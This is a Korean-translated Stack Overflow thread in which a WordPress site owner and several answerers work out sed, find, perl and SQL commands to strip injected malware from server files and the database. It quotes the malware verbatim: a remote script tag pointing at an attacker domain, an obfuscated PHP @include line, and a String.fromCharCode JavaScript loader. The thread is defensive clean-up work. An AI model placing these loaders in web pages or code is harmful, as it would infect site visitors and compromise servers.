sed 또는 grep을 사용하여 전체 문자열을 바꾸는 방법


10

내 서버 전체가 해킹 당했거나 멀웨어 문제가 발생했습니다. 내 사이트는 WordPress를 기반으로하며 서버에서 호스팅되는 대부분의 사이트는 WordPress를 기반으로합니다. 해커는이 코드 줄을 모든 단일 파일과 데이터베이스에 추가했습니다.

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

나는 grep을 통해 그것을 사용하여 검색했다.

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

파일 구조 전체에서 파일을 바꾸려고 sed하고 다음 명령을 작성했습니다.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

index.php먼저 단일 파일의 문자열을 바꾸려고 하므로 작동한다는 것을 알고 있습니다.

내 코드가 잘못되었다는 것을 알고 있습니다. 이것 좀 도와주세요.

@Eran의 코드를 사용해 보았고 예상대로 전체 줄을 삭제했습니다. 그러나 총 전문 용어는 이것입니다

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

그리고 모든 내용을 삭제하고 싶지만 php 여는 태그를 유지하고 싶습니다 <?php.

@ slybloty의 솔루션은 쉽지만 효과적이었습니다.

영향을받는 모든 파일에서 코드를 완전히 제거하십시오. 나는 다음과 같은 3 가지 명령을 실행하고 있습니다.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -스크립트 줄을 제거하려면
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- @include라인 을 제거하려면
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' -주석 줄을 제거하려면

또한 '*.html'해커의 스크립트가 모든 디렉토리에 원치 않는 index.html을 생성했기 때문에에 대한 세 가지 명령을 모두 다시 실행했습니다 . 이러한 index.html을 대량으로 삭제하는 것이 올바른 방법인지 확실하지 않았습니다.

지금도 여전히 정크 파일과 그 흔적을 알아 내야합니다.

해커 스크립트는 JS 코드도 추가했습니다.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

내가 할 수 있는지 확인하려고합니다 sed.


코드가 잘못되었다는 것을 어떻게 알 수 있습니까?
Beta

왜냐하면, 나는 그것을 실행했고`>`와 같은 다음 줄에 더 많은 입력을 요구하기 때문에
Dilip Gupta

2
그냥 줄을 삭제할 수 없습니까? SED -I '/ trasnaltemyrecords / D'
, 둘다 벤 나탄

1
또한 grep을 추가하여 다음과 같이이 줄이있는 모든 파일을 공급할 수 있습니다. while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"-l옵션은 일치하는 텍스트가 아닌 파일 이름 만 제공합니다.
Jason

1
한 가지 더 ...이 방법을 사용하면에 대한 "백업"선택적 매개 변수를 활용 sed -i합니다. 예를 들어, 편집 된 모든 파일에 sed -i.bak대한 *.bak파일을 만듭니다 . while...grep루프 와 함께 사용하면 해당 문자열이 포함 된 파일 만 백업됩니다. 모든 추가 의견에 대해 죄송하지만 제 생각에 맬웨어는 "모든 실습"시나리오입니다.
Jason

답변:


2

"문자열에 큰 따옴표 ( )를 사용 하고 작은 따옴표 ( ') 나 태그 ( <>)를 이스케이프 처리하지 마십시오 . 슬래시 ( /) 만 피하십시오 .

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

sed와 함께 사용하기로 결정한 방법에 관계없이 find및과 함께 완벽한 필터링 옵션을 사용하여 여러 파일에서 여러 프로세스를 동시에 실행할 수 있습니다 xargs. 예를 들면 다음과 같습니다.

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

그것은 :

  • find - 찾기
  • -type f -파일 만
  • -name '*.txt' -PHP로 끝나는
  • -print0 -0 바이트로 구분하여 pritn
  • | xargs -0 -0 바이트로 구분 된 각 파일
  • -P7 -7 개의 프로세스를 동시에 실행
  • -n1 -각 파일마다
  • sed -각 파일 실행에 대해 sed
  • -i -파일을 제자리에 편집
  • '...' -다른 답변에서 실행하려는 sed 스크립트.

진행 상황을보기 위해 -t옵션 을 추가 할 수 있습니다 xargs. man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html )를 참조하십시오 .


2

작은 따옴표는 문자 그대로 이스케이프 문자없이 사용됩니다. 에 var='hello\''닫지 않은 따옴표가 있습니다.

이 문제를 해결하려면 1) 큰 따옴표를 사용하여 sed명령 을 둘러싸십시오. 또는 2) 작은 따옴표로 묶인 문자열을 종료하고을 추가 한 \'후 따옴표 문자열을 다시여십시오.

그러나 두 번째 방법은 더 혼란 스럽다.

또한 sed구분자를 사용하여 명령을 분리 할 수 ​​있습니다. 명령에 슬래시가 있으므로 쉼표를 사용하는 것이 더 쉽습니다. 예를 들어 첫 번째 방법을 사용하면

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

두 번째 방법 사용 :

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

이 예는 실제보다 교육적입니다. '\''작동 방식 은 다음과 같습니다 .

첫 번째 ': 현재 인용 리터럴 문자열 종료

\': 작은 따옴표를 리터럴 문자로 입력하십시오.

두 번째 ': 인용 리터럴 문자열을 다시 입력

공간이 없으면 sed명령을 계속 진행합니다 . 이 아이디어는 고유합니다 bash.

나는 탈출 떠납니다 <그리고 >나는 전적으로 당신이이를 사용하고있는 아니라서 거기에. sed사용 \<\> 평균 단어 매칭. 그것이 의도적인지 확실하지 않습니다.

이것이 일치하지 않으면 <and 를 피하는 것이 >좋습니다.

편집 : 실제 문제에 대한보다 실용적인 해결책에 대한 의견은 @ EranBen-Natan의 솔루션을 참조하십시오. 내 대답은 OP가 원래 명령으로 더 많은 입력을 요청받은 이유에 대한 더 많은 리소스입니다.

편집 솔루션 2

이것이 작동 sed하려면 비표준 옵션이 있다고 가정합니다 -z. GNU 버전 sed은 이것을 가지고 있어야합니다. 또한이 코드는 항상 6 줄 길이의 형식으로 표시된다는 가정을하고 있습니다.

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

작동 방식 : fromCharCode 줄의 시작 부분을 사용하여 모든 것을 일치시킵니다. -z파일을 줄 바꿈 대신 null로 분할합니다. 이를 통해 라인 피드를 직접 검색 할 수 있습니다.

[^\n]*\n-이것은 줄 바꿈까지 모든 것을 일치시킨 다음 욕심 많은 정규식 일치를 피하면서 줄 바꿈과 일치시킵니다. 우리는 줄 바꿈 ( -z)을 나누지 않기 때문에 정규 표현식이 var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n가능한 가장 큰 일치 항목과 일치합니다. 예를 들어, \n}\n파일의 어느 위치 에나 나타날 경우 해당 코드와 악성 코드 사이의 모든 코드를 삭제합니다. 따라서이 순서를 6 번 반복하면 다음 5 줄뿐만 아니라 첫 번째 줄의 끝까지 일치합니다.

grep -lr- grep일치하는 패턴을 가진 파일 만 나열 하는 재귀 적 입니다. 이런 식으로 sed모든 파일을 편집하는 것은 아닙니다. 이것이 없으면 -i.bak(평범하지 않음 -i) 엉망이 될 것입니다.


@Jason에게 감사드립니다.이 방법을 시도해 보겠습니다. 지금은 백업 옵션이 없습니다. 그래서 나는 그것을 청소에 붙어 있습니다.
Dilip Gupta

@ DilipGupta 지금 당신이 백업하는 것이 좋습니다. rsync백업 및 복원과 같은 것을 사용할 수 있습니다 .
Jason

adminer.php를 사용하십니까? 보인다는 감염 가능한
지로 Matchonson

1

wp-mail-smtp 플러그인이 설치되어 있습니까? 우리는 동일한 멀웨어를 가지고 있으며에 이상한 일이있었습니다 wp-content/plugins/wp-mail-smtp/src/Debug.php.

또한 자바 스크립트 링크는 WordPress 데이터베이스의 모든 post_content필드에 wp_posts있습니다.


네, 플러그인이 설치되어 있으며 당신이 말한 것처럼 있습니다. 먼저 정리하고 보안을 강화하려고합니다. 또한 해커가라는 플러그인을 설치 super-socialat했음을 확인하십시오.
Dilip Gupta

그 Debug.php에서 정확히 무엇을 찾았습니까? 이상한 것을 찾지 못했을 수도 있지만 다른 파일에 저장되었을 수도 있습니다. 코드의 일부를 제공하면 파일을 검색 할 수 있습니까? 설치된 새로운 플러그인을 찾지 못했습니다.
Jiro Matchonson

1
어떤 편집기를 사용 했습니까? 내가 그것을 vim에서 열면 weid 같은 것을 볼 수 있지만 나노 나 Geany와 같은 편집기에서는 볼 수 없다 .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov

안녕하세요, 나는 winscp를 통해 그것을 찾고 있었지만 이제는 vi를 시도했지만 여전히 문제를 찾지 못했습니다. Tnx는 예를 들어 파일에서 파일을 검색합니다.
Jiro Matchonson '12

약간의 관점에서 보면 $ GLOBALS 변수의 문자 위치 또는 이와 비슷한 것을 사용하여 작성된 sql 문 인 것 같습니다. 그래서 단순히 "trasnaltemyrecords"를 찾아서 찾을 수 없습니다. grep -r "NULL을 찾으려고했습니다. ); @ $ "/ var / www / html / { . } 또는 다른 것들이지만 아무것도 찾지 못했습니다. 어쨌든 나는 워드 프레스 페이지에 오래된 adminer.php를 가지고 있었기 때문에 유출의 원인이 될 수 있습니다 ..
Jiro Matchonson

0

나는 오늘 같은 것을 얻었다, 모든 페이지 포스트는이 불쾌한 바이러스 스크립트를 추가했다

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

나는 데이터베이스에서 그것을 비활성화했다.

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

최소한 감염된 파일이 없습니다

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

물건을 찾지 못했지만 이것이 어떻게 데이터베이스에 들어 가지 않았는지 전혀 알지 못합니다.

이 감염은 페이지에서 리디렉션을 발생 시켰으며 크롬은 대부분이를 감지하여 차단합니다. /wp-mail-smtp/src/Debug.php에서 이상한 점을 발견하지 못했습니다


나는 이것이 플러그인의 일부 중단과 관련이 있다고 가정하고 해커는 사이트에 대한 백도어 액세스 권한을 얻었습니다.
Dilip Gupta

그러나 어떤 플러그인이 HOUS 통과하고 모든 것을 다시 리디렉션됩니다
지로 Matchonson

0

나는 오늘 같은 것을 얻었습니다. 모든 페이지 게시물에는 스크립트가 추가되었습니다. https://en.wordpress.org/plugins/search-and-replace/ plugin 을 사용하여 성공적으로 처리했습니다 .

또한 wp_posts 테이블 post_content 열 folowing 문자열에서 하나의 레코드를 찾았습니다.

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

수동으로 삭제했습니다.


0

나를 위해 이것을했습니다 :

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

검색해야합니다 : * .js, * .json, * .map

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.